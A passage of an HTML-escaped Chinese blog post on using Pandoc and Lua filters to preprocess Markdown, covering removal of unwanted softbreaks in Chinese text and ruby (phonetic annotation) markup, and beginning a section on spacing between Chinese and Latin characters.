                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#加法和减法&quot;&gt;加法和减法&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#只需要处理引号括号书名号&quot;&gt;只需要处理引号括号书名号&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#halt.lua&quot;&gt;halt.lua&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#故意用错间隔号&quot;&gt;故意用错间隔号&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#英文撇号的处理方法&quot;&gt;英文撇号的处理方法&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#性能&quot;&gt;性能&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#更多功能&quot;&gt;更多功能&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;更智能的softbreak&quot;&gt;更智能的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;softbreak&lt;&#x2F;h2&gt;
&lt;p&gt;CommonMark&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有一项贴心的功能：单次换行会被解析为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;softbreak，在渲染时会变成行尾或空格&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;spec.commonmark.org&#x2F;0.30&#x2F;#soft-line-breaks&quot;&gt;https:&#x2F;&#x2F;spec.commonmark.org&#x2F;0.30&#x2F;#soft-line-breaks&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用以空格分词的语言写作时，可以利用这个功能把段落拆成一句一行。这样做从写作上看有诸多好处&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sive.rs&#x2F;1s&quot;&gt;https:&#x2F;&#x2F;sive.rs&#x2F;1s&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也易于用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;diff&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;工具追踪修改过程。&lt;&#x2F;p&gt;
&lt;p&gt;然而，该功能对中文是个累赘。我也想一句一行的话写中文，但是句号右边已经有巨幅空白，CommonMark&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再给我插一个空格就有如天堑了。我曾试过用博客生成器的模板语言把生成的句号空格替换成句号，但不成功。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;east_asian_line_breaks扩展&quot;&gt;east_asian_line_breaks&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;扩展&lt;&#x2F;h3&gt;
&lt;p&gt;这时，Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;带着它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;east_asian_line_breaks&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;闪耀登场。开启该扩展后，Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会把中文间的单次换行省略掉，但保留其他&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;softbreak。使用如下命令就可以把一句一行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转为中文一段一行，西文继续一句一行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CommonMark：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pandoc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; markdown+east_asian_line_breaks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;    --to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; commonmark+yaml_metadata_block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --standalone \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    one_sentence_one_line.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;softbreak.lua&quot;&gt;softbreak.lua&lt;&#x2F;h3&gt;
&lt;p&gt;可惜&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;east_asian_line_breaks&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的判定过于严苛：它要求行末和行首的都是汉字才会忽略换行。如果当前行以英文开头，上一行以句号结尾，Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仍然会插入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;softbreak。不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内嵌&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解释器，支持用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;filters&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;修改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AST&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;AST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;各节点见文档：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pandoc.org&#x2F;lua-filters.html&quot;&gt;https:&#x2F;&#x2F;pandoc.org&#x2F;lua-filters.html&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所以可以写个脚本除掉多余的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;softbreak。&lt;&#x2F;p&gt;
&lt;p&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;主要有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Meta、Block&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Inline&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;三种类型。一般来说一段正文是一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Block&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Para，内含一系列&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Inline&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Str、SoftBreak&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等。所以如果想要删除不需要的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SoftBreak，就应该在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Inlines&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;节点上操作：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; require&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;filters.util&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; softbreak&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;SoftBreak&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; period&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; utf8.codepoint&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;。&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- Remove SoftBreak after “。”&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Inlines&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;inlines&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; = #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; inlines&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; softbreak&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; lastText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; period&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;lastCodePoint&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lastText&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;                inlines&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;remove&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; inlines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;注音标记：ruby.lua&quot;&gt;注音标记：ruby.lua&lt;&#x2F;h2&gt;
&lt;p&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;ruby&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标签可以用于显示&lt;ruby&gt;汉字注音&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;hàn zì zhù yīn&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;。CommonMark&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不支持它，所以想写的话只能手写。可是这个标签还需要嵌套&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;rp&amp;gt;、&amp;lt;rt&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标签才能正确工作，所以不方便手写。想在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里用，又不方便手写，当然就要使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc
filter&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; ruby_template&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; string.gsub&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;[[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;ruby&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;%s&amp;lt;rp&amp;gt;（&amp;lt;&#x2F;rp&amp;gt;&amp;lt;rt&amp;gt;%s&amp;lt;&#x2F;rt&amp;gt;&amp;lt;rp&amp;gt;）&amp;lt;&#x2F;rp&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;&#x2F;ruby&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;el&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; ruby&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;rt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(.+)（(.+)）$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; ruby&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;RawInline&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;ruby_template&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;ruby&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;rt&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后就可以在一对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;backticks&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之间插入“绅士（变态&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;”来得到&lt;ruby&gt;绅士&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;变态&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;。我认为用搭配&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;backtick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和中文括号比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc
filters&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文档的示例方便得多。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;自动插入中西文混排的间距&quot;&gt;自动插入中西文混排的间距&lt;&#x2F;h2&gt;
&lt;p&gt;我支持中文与西文间应当有略宽的间距，但我反对使用空格来粗暴地插入该间距。一来，大部分字体的空格对中西文间该有的间距而言实在太宽了；二来，这样插入的空格字符是在污染文章；最后，手动插入难免有失误。我想要的解决方案，其实就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Microsoft
Word&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的处理：中西文间有小于空格的间距，但复制出来两字是连着的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;什么时候需要插入间距&quot;&gt;什么时候需要插入间距&lt;&#x2F;h3&gt;
&lt;p&gt;以这句话为例：Nielsen、Chuang&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的《Quantum
Computation and Quantum
Information》很厚。句中有三类字符：汉字、标点和其他。我的习惯是，只有汉字和其他相连时才需要在中间插入间距。&lt;&#x2F;p&gt;
&lt;p&gt;U+4E00-U+9FFF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是常用汉字的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Unicode
range&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Table
